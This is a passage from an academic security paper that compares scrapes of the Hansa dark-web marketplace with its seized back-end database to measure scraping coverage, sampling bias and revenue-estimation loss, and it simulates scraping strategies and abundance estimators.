in Hansa’s transcript, we assume that the probability of a spe-

cific operation is equal to the number of times the operation

occurred over the total number of operations. The assignment

function determines how objects are assigned to their parent

sets. We compute the empirical distributions of object assign-

ments (e.g., distribution of reviews across listings) from the

back-end to handle this sampling. Since we do not know how

the conditional probabilities of operations evolve as the num-

ber of objects vary, we lack empirical data to parameterize our

growth function. Instead, we assume that probabilities scale

linearly. For our shaping functions, we allow the tolerance

bounds to be within±25%. That is, in a given epoch, we allow

a minimum of 75% and maximum of 125% operations over

our empirical values. Lastly, we allow ±1% bounds for the

number of operations/days. These bounds are much narrower

since we have more precise information to parameterize them.

6 Coverage and Bias

We measure scraping coverage by comparing scrapes and

back-end data in Section 6.1. We then measure differences

between the scraped and not-scraped objects to to empirically

uncover scraping bias in Section 6.2.

6.1 Scraping Coverage

We define coverage as the percentage of objects from a scrape

that can be matched to the database on the scrape date. We

measure listing coverage, review coverage and active vendor
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Figure 4: Per-scrape instantaneous and cumulative coverage.

coverage.10 For each scrape, we parsed and deduplicated the

captured pages as explained in Section 5.1. This results in list-

ing, review and vendor tables, which we use for our analysis.

We compare these tables to the tables on listings, reviews and

users directly derived from the Hansa back-end database (see

Section 5.2). More precisely, we use the object creation dates

to slice the Hansa back-end data into 42 sub-tables: one for

each of the three object type (listings, reviews, vendors), on

one of each of the 14 successful scrape dates. Each sub-table

contains the relevant object data present in the market up to

the corresponding scrape date.

We match listings between both datasets (back-end and

scrapes) using the “listing ID,” a numerical identifier present

both in the database, and in the listing URL observable in

the public view. We match vendors using vendor name. We

match reviews using the tuple (review date, buyer name, ven-

dor name, review message). For each of the 14 scrapes, we

calculate the listing (L), review (R) and vendor (V) cover-

age using the following procedure. The input is an array T

of 14 dates, the sets from a scrape (Ls
t ,R

s
t ,V

s
t ) and the sets

from a database slice (Ldb
t ,Rdb

t ,V db
t ). Then, for each t ∈ T ,

the coverage of that object type is calculated by taking the

intersection between the scrape set and the database slice set,

followed by calculating the percentage of the intersection to

the database slice total size. For listings this is for example:

(Ls
t ∩Ldb

t )/Ldb
t ×100.

Figure 4 shows the coverage over time for each object. The

mean coverage is 56.61% for listings, 62.66% for reviews and

74.71% for vendors. Looking at the scrape dates, there is a

large time gap between the 12th scrape (2016/6/9) and the

13th scrape (2017/7/8). Unsurprisingly, the coverage of the

last two scrapes is as a result much lower than the average

of the first twelve scrapes. This can be explained by these

scrapes not capturing all of the listings and reviews that have

been created and then hidden or deleted for the public view

in the time between scrapes. A different explanatory factor

10We distinguish active vendors, as public views do not provide informa-

tion on inactive vendors – i.e., those that have no listings on Hansa.

can be the increased size of Hansa, which grew from 28,700

listings and 20,100 reviews in mid-2016 to 112,800 listings

and 233,600 reviews in mid-2017, making it more likely for a

scrape in 2017 to be unable to capture all objects in one go.

In general, the vendor coverage is the highest type of cover-

age with almost 75% of all active vendors being captured on

average by scrapes. Comparing the listing coverage and the

review coverage over time, we observe the review coverage

to be lower than the listing coverage for the first six scrapes.

From December 2015 onward, however, the review coverage

of each scrape is higher than its listing coverage. This could

indicate that while a scrape captures less of the total inventory

of listings, the listings it does capture are responsible for a

larger proportion of all available reviews.

To give insights on how subsequent scrapes influence the

cumulative coverage, Figure 4 shows the cumulative cov-

erage when all scrapes are combined. While instantaneous

scrape coverage does not improve, the increase in cumulative

coverage shows that consecutive scrapes capture different ob-

jects. Thus, in most cases the combination of two consecutive

scrapes leads to a higher cumulative coverage than the aver-

age of the two scrapes separately. The cumulative coverage

of our scrapes for the market up to and including 2017/07/15

is 50.83% for listings, 59.49% for reviews and 73.93% for

vendors. Hence, the empirical collection loss on Hansa is

49.17%, 40.51% and 26.07% for listings, reviews and ven-

dors respectively. The average of these coverages weighted

by their counts is 53.84%, meaning that on average just a bit

more than half of all available objects was scraped.

6.2 Scraping Bias

We just showed that even after 14 scrapes, a non-negligible

number of listings, reviews and vendors have still not been

captured. From the back-end data, we also know that listings

could be hidden and reviews deleted, making them disappear

from the public view. In what way then is a scrape a truly

random sample from the total population of available objects?
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Tests Scraped listings Not-scraped listings

n = 61,248 n = 61,885

Variable Test Statistic p-value M µ σ min-max M µ σ min-max

usdPrice M-W U 1.6×109 0.00 30.00 390.18 2,739.08 0.01–3.2×105 66.48 625.50 6,508.99 0.01–1.0×106

views M-W U 1.4×109 0.00 637.00 2820.82 12,569.63 0.00–270,251 232.50 1,536.93 5,438.36 0.00–251,554

numReviews M-W U 1.8×109
≤ 0.001 0.00 2.90 18.71 0–1,313 0.00 1.30 11.47 0.00–2,114.00

ageListing M-W U 1.7×109
≤ 0.001 239.00 267.64 206.86 5–728.00 207.00 224.96 149.12 1.00–855.00

isHidden χ
2 test 5.9×103 0.00 0.00 0.05 0.22 0–1 0.00 0.20 0.40 0–1

isDeleted χ
2 test 2.4×104 0.00 0.00 0.05 0.22 0–1 0.00 0.20 0.40 0–1

soldNoReview χ
2 test 558.61 ≤ 0.001 0.00 0.05 0.21 0–1 0.00 0.02 0.15 0–1

category χ
2 test 9.0×103 0.00

Table 3: Results of the Mann-Whitney U and χ
2 tests between scraped and not-scraped listings

To answer this, we analyze the differences between scraped

and not-scraped listings. Differences between scraped and not-

scraped vendors and reviews come down to whether or not

the corresponding listings are scraped. Indeed, comparing

the characteristics of scraped and not-scraped vendors shows

that 99.95% of the scraped vendors have a listing and 98.86%

have a listing that is scraped. For reviews (given the necessary

pairing between a review and its listing) the percentages are

even higher, with 100% of the scraped reviews having their

paired listing scraped and 99.84% having the corresponding

vendor scraped. This means that whether a review or vendor is

scraped ultimately depends on whether the listing is scraped.

This is because a review is scraped only when the vendor or

the corresponding listing is scraped, and a vendor is scraped

when A) it has a listing that B) is scraped. (See Tables 5 and

6 in the appendix for the descriptive statistics and tests for

vendors and reviews.)

We next explore features that could be correlated with

the chance of an object being scraped (e.g., the object be-

ing hidden) and features that can influence revenue calcula-

tions (e.g., the price of the object). To make sure we test

features that have small inter-dependencies and thus cap-

ture different variations of why an object is not scraped,

we performed an exploratory factor analysis on the list-

ing features. As we did not discover any latent factors,

we will not use the factors nor loadings themselves. The

analysis and descriptive statistics of the factor analysis

can be found in Appendix 11.2. The subset of features

then is numReviews, ageListing, views, usdPrice,

isDeleted, isHidden, category and soldNoReview.

We performed Mann-Whitney U [30] and Chi-Square [35]

tests between the scraped and not-scraped groups, to test for

significant differences. The results in Table 3 show that all

features differ significantly between the scraped and the not-

scraped listings. Since not-scraped listings have less views

and a lower number of reviews, numReviews, on average,

this could point in the direction of a scrape being biased

through “popularity”. This is supported by a lower average

usdPrice, as lower priced products are seen and sold more as

they are more popular than higher priced listings. The features

ageListing, isHidden and isDeleted influence the scrap-

ing process as we would expect: the longer a listing is avail-

able (and not hidden or deleted) on the market, the higher the

probability the listing is scraped. The feature soldNoReview

(i.e., the listing had sales, but no reviews) is relevant for a

specific type of listing, namely custom listings [16]. Such

listings sell a specific (larger) quantity and are created for a

single buyer, who often does not leave a review. Surprisingly,

a larger percentage of the scraped than the not-scraped listings

was bought without anyone leaving a review. Finally, com-

paring the categories of scraped and not-scraped listings, we

found that while on average ≈ 46% of a category is scraped,

“Digital Goods” listings were scraped more often (≈ 77%),

while “Weed” listings were more often not scraped (≈ 35%).

7 Revenue Calculations

We next compare projected revenues from our scraped data, to

the actual revenues we can infer from the back-end database.

Projected revenue. Projecting market revenue from scraped

data requires the use multiple proxies and heuristics. First, we

detect and remove holding prices. Second, we pair reviews to

listings, to approximate the actual price paid by the advertised

price closest in time to when the review was left. Multiplying

the number of reviews left every day by the listing prices gives

us daily revenues in Bitcoin, which we convert to US Dollars

using exchange rates from Coincap [1] for the corresponding

dates. From there, we get the total revenue for a listing by

summing these daily revenues over the lifespan of the list-

ing; and the total projected revenue for the entire market, by

summing the revenues for all listings.

Actual revenue. We next compute the actual market revenue

from the Hansa back-end database. Because the transaction

table only holds data from 2016/1/28 onward, we add rev-

enue from order data for 2015/6/17–2016/1/27 to the revenue

from transaction data for 2016/1/28–2017/7/20. For the rev-

enue computation to be perfectly reliable, we would need

the complete marketplace transcript; the Hansa back-end

database, albeit very comprehensive, is not perfectly com-

plete, as described earlier. However, based on the missing

data percentages from Table 2 we assume that it is a very

close approximation of ground truth data.
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Loss. As discussed earlier, projecting revenue from scrapes

produces two loss types: (i) an inference loss, due to using

proxies and (ii) a collection loss, due to using data with incom-

plete coverage of reviews and listings. To estimate the size of

the inference loss, we reproduce our projection calculations

using, this time, data from the Hansa back-end database that

would have been publicly available for scraping. In essence,

this allows us to simulate what we would have gotten if we

had “perfect scrapes” that captured all the information ever

made publicly available by the market. Since we know, from

Table 2, that review and listing data is 98.98% and 99.33%

complete, respectively, the difference between our earlier pro-

jected revenue computation and this computation with perfect

scrapes will approximate the inference loss well.

The total market revenue projected from scrapes is

$13,149,373. When the revenue is calculated based on all the

reviews available in the back-end database (“perfect scrapes”),

this number rises to $27,385,346. The final number of total

marketplace revenue for Hansa from transactions and orders

is, however, $50,056,008. Shortly stated, inference loss causes

a 50% drop, and collection loss seem to cause another 50%

loss, resulting in a projected number that is only slightly more

than a quarter of the actual market revenue.

Where does the loss come from? We next attempt to dis-

cover the causes for these losses. We use one month – March

2017 – for this, since full order data is available for that month,

Hansa had matured enough that, at that point, it was generat-

ing millions of revenue each month, but was not yet growing

exponentially as it did later in 2017.

We calculate the revenue that month based on five differ-

ent inputs: 1) the scraped reviews 2) the reviews from the

database 3) the orders with the single quantity price 4) the

orders with the item price 5) the orders with the full paid price

(incl. shipping). The difference between 1) and 2) reflects the

collection loss for this time period. The difference between

2) and 3) captures the inference loss from using reviews as a

proxy for sales (orders), when not all customers leave reviews.

The difference between 3) and 4) is the inference loss coming

from assuming unit quantities for each inferred transaction.

Finally the difference between 4) and 5) is the inference loss

due to ignoring shipping costs.

Figure 5 shows these revenue calculations based on dif-

ferent inputs. The gap between scraped reviews and reviews

from the database is about a factor of two – $1,179,993 and

$2,548,941 respectively. This collection loss of 53.71%, is in

line with our findings in Section 6. The inference loss when

using reviews as a proxy for sales is 21%, which translates to

$809,101 in revenue. The difference between orders with the

price for a singular quantity (3) and orders with an item price

(4) is $353,863 (9.18%) in revenue, and the final difference

between the orders with full price paid and orders with item

price is just $141,435 (3.67%).

Take-aways. In short, achieving good scraping coverage

is essential to get reliable estimates. Transactions without
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Figure 5: Calculation of Hansa’s March 2017 revenue with

different inputs

reviews present a major challenge. Without additional infor-

mation from the market (e.g., the total number of sales for

an item, as displayed by Alphabay), it is impossible to infer

whether the transaction occurred. The extent of this problem

depends on the “social norms” of the market: the original Silk

Road, for instance, reportedly strongly incentivized buyers to

leave a review [16], whereas, evidently, compliance is a lot

looser on Hansa. Finally, assuming away shipping costs and

orders for multiple quantities of the same item seems to bear

little impact on the projections.

8 Simulation

Through simulations (see Section 5.3) we explore marketplace

coverage when varying the frequency, consistency, and rate-

limiting of scrapes (Section 8.1 and Section 8.2). We present

a comparison of abundance estimators in Section 8.3. Last,

we propose and test a new, popularity-driven, scraper design.
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Figure 6: Distribution of coverage for one and two-shot

scrapes simulated across different request limits.
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8.1 Coverage of One and Two-shot Scrapes

We first quantify the coverage loss for our simulated mar-

ketplaces. Given that many studies rely on only one or two

scrapes [6, 13, 20, 21], we compute the coverage distribution

for both scenarios. First we simulate markets where only one

scrape is available; we repeat this simulation for every single

day the market is live. We then compute the expected cover-

age for each possible day in the simulation. Then, we simulate

markets where two scrapes (taken on different days) are avail-

able. We run this simulation for every possible pair of days

among the days the market was live. We then compute the

expected coverage for all possible combinations of scrapes.

Further, we conduct these experiments with different page

request limits: 2 req./min. (2,880 daily), 6 req./min (8,640

daily), 20 req./min (28,800 daily), 60 req./min (86,400 daily).

In total, we simulated 2,800 scrapes for one-shot scrapes, and

over 1,897,000 two-shot scrapes.

Figure 6 shows the results, using box plots with 95% con-

fidence intervals. Even when scraping a page every second,

the median coverage is low in the one-shot case (0.144) and

only moderately better in the two-shot case (0.308). The theo-

retical maxima are 0.733 and 0.840 for the one and two-shot

cases, respectively. However, in practice, 60 req./min. is rarely

achievable due to the presence of anti-scraping mechanisms

(e.g., CAPTCHAs, temporary bans, rate-limiting, etc.) [45].

8.2 Coverage and Scraping Consistency

We next seek to understand how coverage increases as the

number of scrapes increase. Further, given that most past work

we reviewed does not follow a consistent scraping schedule,

we want to differentiate the impact on performance between

consistent and inconsistent scraping routines. So, we compare

the final coverage of all pages obtained between: 1) evenly

spaced scrapes and 2) scrapes which are done at random

intervals. For both settings, we calculate the coverage as we

increase the number of simulated scrapes from 3 to 30. For

each setting, we conduct simulations until our results converge

into a narrow 95% confidence interval; this amounts to over

30,000 simulations.

Figure 7 shows that increasing the number of scrapes yields

diminishing returns as the number of scrapes increases, mir-

roring Soska and Christin’s findings [41]. We find that not

following a scraping routine is not necessarily detrimental to

the coverage. However, it is important to caveat these results

with the fact that the random scraping days were computed

with a priori knowledge of the lifetime of the market. For

continually growing markets (until takedown), such as Hansa,

later scrapes have a greater chance of contributing more in-

formation to the final coverage. Thus, the more scrapes we

have around periods of time growth, the better the coverage.

On the other hand, if objects are frequently removed from

the public view (e.g., deletions), then a consistent scraping
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Figure 7: Scraping coverage as the number of scrapes in-

creases, with evenly spaced scrapes and randomly spaced

scrapes. The shaded area is the 95% confidence interval.

routine might perform better since it has greater chance of

catching data before the public view changes. In essence, we

do not expect to see major differences in coverage between

studies that did not follow a consistent scraping routine, as

long as their scrapes are not concentrated in the early stages

of the market.

8.3 Comparison of Abundance Estimators

We have evaluated scrape coverage using the ground truth

contained in the back-end data. In practice, however, public

views do not always provide features to help us determine the

size of the population for each object.11 Instead, past work has

relied on abundance estimators to calculate scraper coverage

or collection loss. For instance, Soska and Christin used the

Schnabel estimator [38] to estimate coverage [41]. Coverage

estimations can then be used to extrapolate revenue, missing

data, or adjust scraping regimens.

Abundance estimators, however, have not been evaluated in

the context of online marketplaces. Thus, we proceed to eval-

uate the Schnabel estimator, along with the Lincoln-Petersen

(LP) estimator, and the Jolly Seber (JS) estimator on our sim-

ulated marketplace. These estimators are part of a family of

methods known as “mark and recapture,” derived from tag-

ging and recapturing experiments used to estimate wildlife

populations [39]. A summary of these algorithms is given in

Appendix 11.3. At a high level, LP is the simplest estimator

and assumes the population is constant, and estimated from

two population samples; Schnabel extends LP to account for

repeated sampling; Jolly-Seber extends these algorithms to a

situation, like here, where the population changes over time.

We implemented each of the three estimators and used

them in our simulation. We validated the LP and Schnabel

estimators using the capture histories of northern pike data [9]

in the R FSAdata package and the procedure described by

Ogle [34]. For the JS estimator, we used the implementation

11Most markets list the total number of items; some give the number of

vendors; very few give the number of transactions per listing.
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Algo.

Coverage Bi-Weekly

Low

Bi-Weekly

High

Monthly

Low

Monthly

High

Quarterly

Low

Quarterly

High

Jolly-Seber 0.501 0.081* 0.451 0.163* 0.401 0.338*

Lincoln-Petersen 0.219* 0.226 0.251* 0.249 0.358* 0.356

Schnabel 0.603 0.455 0.583 0.457 0.57 0.467

Table 4: Avg. error when estimating the number of listings

across scraping intervals and using either a low request limit

(2 req./min) or a high request limit (20 req./min).

provided by the MARK package, a well-known and widely used

package for mark-and-recapture models [49].

We performed experiments in six different settings, varying

the frequency and coverage of our scrapers. We tried three

scraping frequencies: bi-weekly, monthly, and quarterly. We

paired these with either a low request limit (2,880 requests

per scrape; 2 req./min.) and a high request limit (28,880 re-

quests per scrape; 20 req./min.). For each simulated scrape,

we estimated the population of listings in the market based on

prior captures and recaptures. We then computed the average

collection loss for each scraper configuration across all our

simulations. We repeated the simulations until we narrowed

our 95% confidence interval; this took over 9,000 simulations.

Results. We summarize our results in Table 4. We observe

that the JS estimator performs best in scenarios where our

scrape has higher coverage. The JS estimator provides the best

estimates when scraping frequently and with high coverage.

However, the LP estimator performs better when coverage

is poorer. This is because higher estimates are preferable

when there is low coverage, and the LP estimator provides

high estimates when there is low coverage. Surprisingly, the

Schnabel estimator, which yielded good results in earlier work

[41], performs here quite poorly across all settings.

8.4 Popularity-Driven Scraping

As explained in Section 6.2, certain pages are more critical to

achieve good coverage than others. For instance, a listing page

with a lot of reviews is more important to scrape properly than

a listing with zero reviews. Previous work has hinted that, in

terms of popularity, listings and vendors follow long-tailed

distributions [41]. Thus, we hypothesize that one may achieve

good coverage by primarily focusing on the most popular

vendors and listings. While, ideally, one would want to scrape

everything, it may not be possible: marketplaces have been

deploying increasingly strict anti-scraping measures, which

limit the ability of a third party to collect information [45]. We

next explore whether “popularity-driven scraping” provides

good coverage when facing a limited scraping “budget”.

More precisely, we assume that we are given a limit ℓ on

the number of requests our scraper can issue (e.g., 2 requests

per minute), and that we control the proportion ρ of previ-

ously seen pages we want to scrape again. We sort listings

by popularity, i.e., by the number of reviews they have.12 We

12For the first scrape, all listings are assumed to be equally popular.

0.00

0.25

0.50

0.75

1.00

0 200 400 600

Days

C
o
ve

ra
g
e

25% Rescrape

50% Rescrape

75% Rescrape

Uniform

Figure 8: Average scrape coverage through a simulated mar-

ket’s lifetime for various popularity scraping budgets and

compared to our uniformly random scraping baseline.

rescrape the most popular listing pages until we hit ρℓ pages;

we then scrape (1−ρ)ℓ pages we had not seen before.

We simulate three different parameters choices for ρ: 25%,

50%, and 75%, with ℓ = 6 req./minute, over a 30-day inter-

val. We conduct experiments until we sufficiently narrow our

95% confidence interval; here, this takes slightly over 20,000

simulations. We compare popularity-driven scrapers against

our baseline, which is to scrape uniformly at random from the

set of available pages. We present the mean coverage at each

scrape date over all our simulated markets.

Results. Figure 8 shows that the scraper with ρ = 75% , per-

forms the best, with an average coverage of 0.765, followed

by the scraper with a ρ = 50% rescraping budget (average

coverage of 0.725). The baseline, random scraper, achieves

a 0.674 coverage. Perhaps surprisingly, a scraper ρ = 25%

budget performs worse than the baseline, with a 0.638 cov-

erage. In short, a popularity-driven scraping approach can

substantially increase coverage—as much as 10% higher than

the baseline—as long as it is properly parameterized. Also,

the difference in coverage widens as the market grows, which,

in Hansa, was the case toward the end of the market’s life.

8.5 Extrapolation

An optimal scraper for Hansa is contingent on a set of features

that may not be shared by other markets. Hansa was a market

with no established deletion policy, as opposed to others. For

instance, Dream Market deleted reviews older than 150 days

[18]. Likewise, the recently deposed Russian-language Hydra

Marketplace13 purged reviews older than 240 days.

Thus, a scraper that follows a consistent routine would

likely ensure more reliability and coverage. Hansa also expe-

rienced a burst of growth, following the Alphabay takedown,

which occurred and lasted for a small period of time towards

the end of the market. With constrained resources (i.e., limited

number of scrapers and number of allowed requests), an opti-

mal routine would have sporadically scraped Hansa during its

13No relationship to an older Hydra market active in 2014–2015 [41].
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slow period and aggressively scraped during its meteoric rise.

However, not only it may be hard to establish this routine

a priori, but other markets follow different patterns, even fol-

lowing takedowns. For instance, Soska and Christin [41] show

that older markets like Pandora or Agora had various bursts

of revenue throughout their lifetime. These different growth

patterns may call for different routines. Thus, when facing a

new market, researchers may want to simulate different possi-

ble growth patterns and market lifetimes and choose the most

robust strategy.

Lastly, a popularity-driven approach is an efficient choice

for studies where we can infer where high-yield objects will

be located (such as a revenue estimation study). For exam-

ple, reviews on Hansa were largely concentrated among a

handful of vendors, which is intuitive since listing popular-

ity on anonymous markets has historically tended to follow

Pareto-like distributions.

9 Discussion

This works brings up ethical considerations, especially as they

relate to the use of seized data, which we discuss next. Sec-

ond, while our results show that scraping as a measurement

approach can introduce significant losses, we explain why this

paper should not be seen as an indictment of scraping—quite

the contrary. Third, we discuss other contexts such as fora and

other online shops. Last, from our observations, we derive a

set of best practices for scraping online markets.

Ethics. For our scraping measurements, we followed Mar-

tin and Christin’s recommendations [31], and took proactive

steps to minimize direct and indirect consequences that our

measurements may have had on marketplace participants and

on Tor users. (For instance, we purposefully limited our scrap-

ing regimen, did not interact with marketplace actors, etc.)

Similar to earlier work [28,33], all of our analyses of the back-

end data were conducted on-site at Dutch law enforcement

agencies, and the data was stored and protected under their

safety and security guidelines. The data was made accessible

to us for academic research purposes. Extracting aggregate

data points for our tables and figures was done under strict

supervision through one specific monitored channel. A Dutch

law enforcement privacy-officer vetted that the data contains

no personally identifiable information.

As we obtained the approval of the Dutch Public Prose-

cution Service for our analysis, the Delft IRB viewed this

work as outside of their jurisdiction and were satisfied with

this assessment. The three authors at US institutions did not

directly interact with back-end data. The Carnegie Mellon

IRB had earlier opined, and confirmed, that scraping market-

place data (without personal identifiers) did not constitute

human-subject research.

Most importantly, this study does not, and does not seek to,

provide any legal proof of criminal conduct.

Value of scraping. While our results show that scraping can

result in significant loss, ground-truth data is rarely, if ever,

available. Seized back-ends are rare – and may be very far

from complete when they exist. We discovered that Hansa’s

database holds many features unavailable in the public views.

However, a major drawback is that this database only con-

tains a single record for each object. Absent any back-up

(which were available here, due to the Hansa administrators

espousing questionable data retention practices), one would

only be able to see the latest version of each object. On the

other hand, a consistent weekly scraping regime could have

captured 108 versions of each object in Hansa’s lifetime. Do-

ing so allows to understand historical price developments,

vendor PGP-keys changes, and vendor geographic shipping

information – all important data points for revenue analysis

and vendor matching [44].

Other contexts. The issues of incomplete data and the usage

of proxies and heuristics for (revenue) calculations are not lim-

ited to the domain of online anonymous marketplaces. Other

marketplace contexts, such as online fora (e.g. hacker fora)

or specific web shops (e.g. pharmaceutical websites), also

face the challenge of doing empirical marketplace research in

adversarial contexts. This has two consequences.

First, online anonymous marketplace research can learn

from approaches on these other types of marketplaces. Dif-

ferent internal and external validation techniques from other

works could also be applied. Two notable examples are cal-

culating completeness of a scrape through leveraging unique

marketplace identifiers (e.g., changing URLs or sales coun-

ters [26]) and cross-referencing tables and checking concor-

dances between transactional data and metadata [32].

Second, the present study can serve as a model for these

other contexts. As Portnoff et al. [36] note in their analysis

of an underground forum marketplace: “an analysis relying

on both private and public data vs. just public may reach

different conclusions about the revenue of a market.” More

broadly, Andreas and Greenhill in “Sex, Drugs, and Body

Counts” show how scientific measurement errors often mo-

tivate inappropriate policy choices [7]. As all these types of

fora or unlicensed shops primarily deal in illegal offerings,

precision is of the utmost importance.

Best practices. Our findings can inform future online anony-

mous markets measurement studies, both for study design

and for reporting results. First, we recommend frequent and

periodic scraping to mitigate the impact of scraping errors,

rate limits, and data deletion. When describing data collec-

tion, studies should disclose when the scrapes were obtained

and the number of requests that were sent. To contextualize

the potential coverage of their scrapes, studies should try to

estimate the size (i.e., pages) of the site. While abundance

estimation can help, markets may offer metadata that provide

a better starting point for estimation. For instance, markets

may disclose the number of vendors, items, or even the num-

ber of orders that each vendor has fulfilled. These results
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can then be complemented with estimates derived from Jolly-

Seber or Lincoln-Petersen models for high and low coverage

assumptions, respectively.

In the face of limited scraping budgets (e.g., as caused by

anti-scraping mechanisms), future studies should consider

identifying and focusing their scraping on high-yield portions

of the website, rather than scraping in a breadth-first fashion.

Rate of growth can be measured through observed changes

in subsequent scrapes (as we described in Section 8.4) or

through metadata (e.g., a leaderboard of reputable vendors).

Further, we also recommend that future studies provide more

detail on their scraper design. We found that scraper design is

often either not discussed or described with insufficient detail

in the literature (Section 2.2). Yet, understanding how the

scraper traverses pages, the number of requests it performs,

or how it adapts to adversarial scraping environments are all

important details that help contextualize the coverage of the

measurements, and subsequently its impact on estimation.

Last, our research showed that the “measurement-by-proxy”

approach provides a very conservative lower bound for rev-

enue estimations on online anonymous marketplaces. If the

assumption of similar review-to-transaction ratios holds for a

newer marketplace (e.g., feedback is neither mandatory nor au-

tomatically purged over time), our loss factors from Section 7

can help calculate an upper bound for revenue projections.

That way, future research can take the biases we discovered

into account and reason about the impact of calculating rev-

enue based on scraped data on measurement outcomes.

10 Conclusion

We investigated the accuracy of marketplace measurements

using the Hansa Market back-end database, 14 Hansa scrapes

and more than 60,000 simulations of over 2M scrapes. Our

results show that “measurement-by-proxy” can result in sig-

nificant collection and inference loss. We find the collection

loss of Hansa scrapes to be around 46% in objects ever gener-

ated on the marketplace. Further, a scrape does not uniformly

randomly draw from the population, since captured listings

differ significantly from the not-scraped listings.

The inference loss introduced by proxies, such as reviews

and listing prices, corresponds to 34% in monthly revenue.

Unfortunately, the scarcity of complete back-end data sources

present researchers with little alternatives to measuring-by-

proxy, and inference loss cannot be easily mitigated.

Our main take-away is thus to focus on mitigating collec-

tion loss. Our simulations yield insights on how to achieve

this objective. Scraping a marketplace just once or twice is

likely to result in very poor (< 50%) coverage. While scrap-

ing frequently outperforms scraping consistently, getting from

60% to 80% coverage almost requires doubling the amount

of scrapes. Innovative scraper design, such as scraping most

popular listings first, can help improve coverage when the

scraping budget is limited. Finally, abundance estimators, al-

beit imperfect, can provide insights on population coverage

in the absence of data on population sizes.
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11 Appendix

11.1 Bias analysis

Tests Scraped reviews Not scraped reviews

n = 139,271 n = 118,913

Variable Test Statistic p-value M µ σ min-max M µ σ min-max

listingScraped χ
2 test 137,129.00 0.00 1.00 1.00 0.00 1–1 0.00 0.32 0.48 0–1

vendorScraped χ
2 test 24,324.84 0.00 1.00 1.00 0.04 0–1 1.00 0.83 0.37 0–1

isEdited χ
2 test 96.13 0.00 0.00 0.02 0.14 0–1 0.00 0.02 0.12 0–1

isPurged χ
2 test 2,642.36 0.00 0.00 0.01 0.09 0–1 0.00 0.04 0.19 0–1

Table 5: Results of the Mann-Whitney U and χ
2 tests between

scraped and not scraped reviews

Tests Scraped vendors Not scraped vendors

n = 1,929 n = 1,696

Variable Test Statistic p-value M µ σ min-max M µ σ min-max

hasListing χ
2 test 1,277.90 0.00 1.00 1.00 0.02 0–1 0.00 0.49 0.50 0–1

listingScraped χ
2 test 3,517.78 0.00 1.00 0.99 0.11 0–1 0.00 0.00 0.05 0–1

Table 6: Results of the χ
2 test between scraped and not scraped

vendors

11.2 Exploratory Factor Analysis

We begin by constructing a n× k data matrix, with n corre-

sponding to the number of listings (n = 123,133) and k to

the number of features (k = 9) for each listing. Since our

variables are a mix of numeric and binary types, we calculate

polychronic and Pearson correlations between our variables
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from the n× k data matrix and use the resulting k× k het-

erogeneous correlation matrix as input for our exploratory

factor analysis. We tested the suitability of our data for factor

analysis by performing the KMO and Bartlett’s tests. The

results in Table 7 show already that there is a very low degree

of information overlap among the variables.

Table 7: Results of the KMO and Bartlett’s tests

Test Test statistic p-value

KMO 0.546

Bartlett 210072.289 0.0

Factor analysis generates a set of i latent factors, each labeled

as MRi, from our correlation matrix. We first use scree-plot

analysis [14] and Horn’s parallel analysis [25] to determine

a suitable i, the number of latent factors to look for (i = 4 in

our case). Given the k× k correlation matrix, we then look

for three underlying latent factors using a so-called “minres”

factor analysis method. Moreover, we also apply a so-called

“oblimin” rotation to the resulting set of factors since we

expect the resulting factors to be correlated.

Table 8: Factor Analysis Output

Variable MR1 MR2 MR3 MR4

numReviews 1.00 0.00 0.03 -0.00

numOrders 0.89 -0.01 -0.03 0.01

ageListing -0.00 0.88 0.00 -0.00

isDeleted 0.00 0.00 0.50 0.01

category 0.00 -0.01 -0.01 0.39

views 0.28 0.17 -0.10 -0.01

isHidden 0.01 0.10 0.14 0.20

soldNoReview -0.04 -0.05 -0.17 0.07

usdPrice -0.01 -0.01 0.00 -0.01

SS Loadings 2.06 1.25 1.07 1.00

Proportion var. explained 0.21 0.09 0.03 0.02

Cumulative var. explained 0.21 0.30 0.33 0.35

The resulting four factors, their so-called “loadings,” in addi-

tion to several other quantities of interest in factor analysis are

illustrated in Table 8. Factor loadings in Table 8 (the values

reported under each MRi column), express how much a factor

can explain a corresponding variable as a number ranging

from -1 to 1. Crudely put, a loading expresses association

strength between the latent factor and the original variable. A

loading value close to 1 or -1 indicates that a factor “loads”

highly onto a variable – i.e., is strongly associated with and

explains the observed variance of that variable, while a value

close to 0 expresses weak association. For each factor we

apply a cut-off point value of 0.4 to its set of loadings, a com-

mon threshold used in the literature, to determine the most

prominent associations [42]. These are reported in bold font,

and indicate variables strongly associated with latent factors.

In general, the four latent factors (or three, if we exclude

MR4 based on no variable surpassing the loading threshold of

0.4) only capture 0.35% of the variance. Here, we also observe

that of our nine variables only two seem to be associated

with the same underlying latent factor, namely numReviews

and numOrders. However, we reason that this is an artifact

of the market policy that forcibly associates reviews with

actual orders. Thus, for our analysis of testing whether any

significant differences exist between scraped and not-scraped

listings, we include all variables individually.

11.3 Abundance Estimation Algorithms

We summarize here the three abundance estimation algo-

rithms we employ.

Lincoln-Petersen (LP) The Lincoln-Petersen method esti-

mates N, the population, as

N̂ =

Kn

k
, (4)

where n is the number of units marked on the first sampling,

K is the number of units marked in the second sampling, and

k the number of recaptured units that were marked [43].

Schnabel The Schnabel method extends the LP method for

situations where we have various samples:

N̂ =

∑t(CtMt)

∑t Rt +1
, (5)

where Ct are the total number of units caught at time t, Rt are

the number of units already marked at time t, and Mt is the

number of marked units at time t−1 [43]. Both the Schnabel

and LP methods, however, assume that the populations are

closed, that is, no units appear (births) nor disappear (deaths).

To relax these assumptions, “open-population” models which

model recruitment and survival were introduced. In this paper,

we use the Jolly-Seber (JS) estimator [40].

We used the POPAN formulation [40]. We estimate p̂t the

probability of capture, φ̂t the probability of survival between

periods, and b̂t the probability of entering the population.

These parameters are estimated using a Maximum Likelihood

Estimation (MLE) procedure on a multinomial distribution,

where each encounter history is a possible outcome. An en-

counter history is a series of observations of the studied object,

encoded as a string of 0s for sampling dates when the object

was not observed and 1s when it was observed. The total

population N is estimated at each time t by:

N̂t = N̂t−1φ̂t−1 +Bt−1 , (6)

where Bt is the number of new entrants to the population.

12 Scrape Dates

We obtained scrapes from the Hansa marketplace taken on:

October 8th 2015, October 11th 2015, October 16th 2015, Oc-

tober 23th 2015, October 25th 2015, November 2nd 2015, De-

cember 1st 2015, December 13th 2015, January 7th 2016, Jan-

uary 17th 2016, April 30th 2016, June 8th 2016, July 7th 2017

and July 14th 2017.

2170    31st USENIX Security Symposium USENIX Association



Behind the Tube: Exploitative Monetization of Content on YouTube

Andrew Chu†∗, Arjun Arunasalam‡∗, Muslum Ozgur Ozmen‡, and Z. Berkay Celik‡

